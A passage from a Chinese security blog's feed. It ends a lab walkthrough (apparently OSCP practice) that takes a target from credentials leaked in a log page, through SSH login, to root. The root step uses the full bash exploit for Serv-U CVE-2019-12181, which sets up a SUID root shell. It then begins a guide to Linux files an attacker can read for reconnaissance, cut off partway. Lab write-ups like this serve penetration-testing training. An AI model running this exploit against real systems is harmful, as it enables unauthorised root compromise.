&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313141612088.png"&gt;
在输入密码 Zxc123!@#
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313144731315.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313144748742.png"&gt;
系统设置里面有个查看log的选项，点开查看发现泄露的密码。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313145126714.png"&gt;
结合之前的Nmap扫描结果，怀疑这个密码是ssh登录的密码&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Assigned Password for the user love: P@$$w0rd@123
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="ssh登录"&gt;SSH登录
&lt;/h2&gt;&lt;h3 id="获得localtxt的flag"&gt;获得local.txt的flag
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;ssh love@192.168.195.211
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313145351340.png"&gt;&lt;/p&gt;
&lt;h3 id="提权root"&gt;提权root
&lt;/h3&gt;&lt;p&gt;查找提权点&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;find / -type f -perm -u=s 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313150835424.png"&gt;
发现异常文件&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/usr/local/Serv-U/Serv-U
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;尝试运行
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313151130630.png"&gt;
查看所在目录，发现版本信息文件
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313151304579.png"&gt;
提示了软件版本号 &lt;code&gt;Serv-U File Server (64-bit) - Version 15.1 (15.1.6.25)&lt;/code&gt;，搜索相关漏洞&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313151502055.png"&gt;&lt;/p&gt;
&lt;p&gt;发现两个Poc均指向漏洞编号 CVE-2019-12181&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://github.com/trickest/cve/blob/main/2019/CVE-2019-12181.md" target="_blank" rel="noopener"
 &gt;https://github.com/trickest/cve/blob/main/2019/CVE-2019-12181.md&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313151603589.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313151617120.png"&gt;
c脚本还需要编译，所以先使用sh脚本的版本，尝试开启http传输发现网络波动太大，传输有问题，所以直接复制sh文件内容，使用&lt;code&gt;cat &amp;gt; exp.sh&lt;/code&gt; 的方法写入，按ctrl D结束，然后添加执行权限。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313152055419.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Bash variant of Guy Levin&amp;#39;s Serv-U FTP Server exploit:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# - https://github.com/guywhataguy/CVE-2019-12181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# [*] Launching Serv-U ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# sh: 1: : Permission denied&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# [+] Success:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# [*] Launching root shell: /tmp/sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# sh-4.4# id&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# &amp;lt;bcoles@gmail.com&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;test&lt;/span&gt; -u &lt;span class="s2"&gt;&amp;#34;/usr/local/Serv-U/Serv-U&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[-] /usr/local/Serv-U/Serv-U is not setuid root&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Launching Serv-U ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;/bin/bash -c &lt;span class="s1"&gt;&amp;#39;exec -a &amp;#34;\&amp;#34;;cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\&amp;#34;&amp;#34; /usr/local/Serv-U/Serv-U -prepareinstallation&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="nb"&gt;test&lt;/span&gt; -u &lt;span class="s2"&gt;&amp;#34;/tmp/sh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[-] Failed&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; /bin/rm &lt;span class="s2"&gt;&amp;#34;/tmp/sh&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Success:&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;/bin/ls -la /tmp/sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] Launching root shell: /tmp/sh&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;/tmp/sh -p 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;C脚本的方法尝试也成功了&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260313154517854.png"&gt;&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;h3 id="入侵路径示意图"&gt;入侵路径示意图
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% 资产列表
 A[Kali攻击机 &lt;br&gt; 192.168.45.168]
 B[靶机 &lt;br&gt; 192.168.195.211]
 C[election目录 ]
 D[phpmyadmin后台 ]
 E[SSH登录]
 F[root]
 
 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;|robots.txt泄露|C
 A--&gt;|Nmap扫描|D
 D--&gt;|数据库md5解密得到election投票管理员密码|C
 C--&gt;|管理员界面log页面泄露SSH登录密码|E
 E--&gt;|CVE-2019-12181 漏洞提权|F

	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B,D public;
 class C internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2026-03-13 13:30, 2026-03-13 14:09
 漏洞识别 :a2, after a1, 2026-03-13 14:51
 
 section 攻击阶段
 初始访问 :b1, after a2, 3m
 权限提升 :crit,b2, after b1, 2026-03-13 15:20&lt;/pre&gt;&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;推荐阅读&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/QRTeAozyaSiX_M7QCXl8Mw" target="_blank" rel="noopener"
 &gt;Day1 什么是OSCP，怎么报名和如何准备&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/eCujJbL37LpRVQwkJqRZUA" target="_blank" rel="noopener"
 &gt;OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/OHfDWWZW2OteI1Bzdj9QsQ" target="_blank" rel="noopener"
 &gt;CyberSec：适用于黑阔糕手的Obsidian知识库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;center&gt;
 &lt;img src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/QRcode_g1%20(1).jpeg" style="width: 100px;"&gt;
&lt;/center&gt;</description></item><item><title>Linux服务器端口和基本信息侦察指南</title><link>https://ruajingjing.top/post/linux-windows%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%8F%A3%E5%92%8C%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%E4%BE%A6%E5%AF%9F%E6%8C%87%E5%8D%97/</link><pubDate>Wed, 22 Oct 2025 22:21:58 +0000</pubDate><guid>https://ruajingjing.top/post/linux-windows%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E5%8F%A3%E5%92%8C%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%E4%BE%A6%E5%AF%9F%E6%8C%87%E5%8D%97/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Linux服务器端口和基本信息侦察指南" /&gt;&lt;h1 id="linux服务器端口和基本信息侦察指南"&gt;Linux服务器端口和基本信息侦察指南
&lt;/h1&gt;&lt;p&gt;在渗透测试或安全评估中,了解目标服务器开放的端口和基本信息是至关重要的第一步。服务器通常不会直接展示所有开放端口和详细信息,但通过一些常见的服务和文件,攻击者可以获取这些信息。以下是服务器上常见的文件、服务和配置,它们可能直接或间接地透露开放的端口和服务器的基本信息。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考：
&lt;a class="link" href="https://www.51cto.com/article/820631.html" target="_blank" rel="noopener"
 &gt;作为运维，应该掌握的 50 个 Linux 上重要的配置文件&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="1-基础系统信息文件"&gt;1. 基础系统信息文件
&lt;/h2&gt;&lt;h3 id="11-etcservices"&gt;1.1. &lt;code&gt;/etc/services&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 该文件包含了服务名称与端口号及协议的映射关系。虽然它不显示当前服务器实际开放的端口,但它列出了常见的服务及其默认端口,攻击者可以借此了解哪些端口通常用于哪些服务。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/services&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解常见服务的默认端口,辅助端口扫描和识别&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例内容&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http 80/tcp www www-http # WorldWideWeb HTTP
ssh 22/tcp # SSH Remote Login Protocol
ftp 21/tcp # File Transfer Protocol
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="12-etchosts"&gt;1.2. &lt;code&gt;/etc/hosts&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 该文件用于将主机名映射到IP地址,通常用于本地网络解析。虽然它不直接显示开放的端口,但可以揭示服务器上配置的主机名和内部IP地址。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解服务器的主机名配置和内部网络结构&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例内容&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;127.0.0.1 localhost
192.168.1.10 server1.example.com
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="13-etchostname"&gt;1.3. &lt;code&gt;/etc/hostname&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 该文件包含服务器的主机名。通过查看此文件,攻击者可以了解服务器的名称,有助于进一步的侦察。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/hostname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 获取服务器的主机名&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例内容&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;webserver01
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="14-etcresolvconf"&gt;1.4. &lt;code&gt;/etc/resolv.conf&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: DNS解析器配置文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/resolv.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解DNS服务器配置,可能揭示内部网络结构&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-网络连接和端口信息"&gt;2. 网络连接和端口信息
&lt;/h2&gt;&lt;h3 id="21-procnettcp-和-procnetudp"&gt;2.1. &lt;code&gt;/proc/net/tcp&lt;/code&gt; 和 &lt;code&gt;/proc/net/udp&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 这些文件提供了当前系统上TCP和UDP连接的状态信息,包括本地和远程地址及端口。通过解析这些文件,可以获取服务器当前活跃的连接和监听端口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;TCP: &lt;code&gt;/proc/net/tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;UDP: &lt;code&gt;/proc/net/udp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看当前系统上的TCP和UDP连接及监听端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 这些文件的内容是十六进制格式的,需要一定的解析技巧。通常可以使用工具或脚本来解析这些信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例(简化)&lt;/strong&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sl local_address rem_address st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt uid timeout inode
 0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 12345 1 ffff880012345678 100 0 0 10 0
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;local_address&lt;/code&gt;中的端口部分(如 &lt;code&gt;1F90&lt;/code&gt;)需要转换为十进制(8080)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-procnettcp6-和-procnetudp6"&gt;2.2. &lt;code&gt;/proc/net/tcp6&lt;/code&gt; 和 &lt;code&gt;/proc/net/udp6&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: IPv6连接的TCP和UDP状态信息。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/proc/net/tcp6&lt;/code&gt;, &lt;code&gt;/proc/net/udp6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看IPv6监听端口和连接&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="23-procnetunix"&gt;2.3. &lt;code&gt;/proc/net/unix&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: Unix域套接字信息。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/proc/net/unix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解本地进程间通信(IPC)使用的套接字&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="24-运行时进程信息"&gt;2.4. 运行时进程信息
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/proc/[pid]/cmdline&lt;/code&gt;: 进程启动命令行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc/[pid]/environ&lt;/code&gt;: 进程环境变量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看服务启动参数和环境变量,可能包含端口绑定信息&lt;/p&gt;
&lt;h2 id="3-网络配置文件"&gt;3. 网络配置文件
&lt;/h2&gt;&lt;h3 id="31-rhelcentos-网络配置"&gt;3.1. RHEL/CentOS 网络配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 网络接口配置文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/sysconfig/network-scripts/ifcfg-*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解网络接口配置和IP地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="32-debianubuntu-网络配置"&gt;3.2. Debian/Ubuntu 网络配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 网络接口配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/etc/network/interfaces&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看网络配置和绑定的IP地址&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="33-网络接口系统信息"&gt;3.3. 网络接口系统信息
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 网络接口状态和配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;/sys/class/net/*/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看网络接口状态和配置&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-超级服务器配置"&gt;4. 超级服务器配置
&lt;/h2&gt;&lt;h3 id="41-etcinetdconf-或-etcxinetdconf"&gt;4.1. &lt;code&gt;/etc/inetd.conf&lt;/code&gt; 或 &lt;code&gt;/etc/xinetd.conf&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;描述&lt;/strong&gt;: 这些文件配置了由 &lt;code&gt;inetd&lt;/code&gt;或 &lt;code&gt;xinetd&lt;/code&gt;管理的服务,这些服务在需要时启动并监听特定端口。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;inetd: &lt;code&gt;/etc/inetd.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;xinetd: &lt;code&gt;/etc/xinetd.conf&lt;/code&gt; 或 &lt;code&gt;/etc/xinetd.d/&lt;/code&gt; 目录下的各个文件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解由超级服务器管理的服务及其端口&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="5-web服务器配置"&gt;5. Web服务器配置
&lt;/h2&gt;&lt;h3 id="51-nginx-配置"&gt;5.1. Nginx 配置
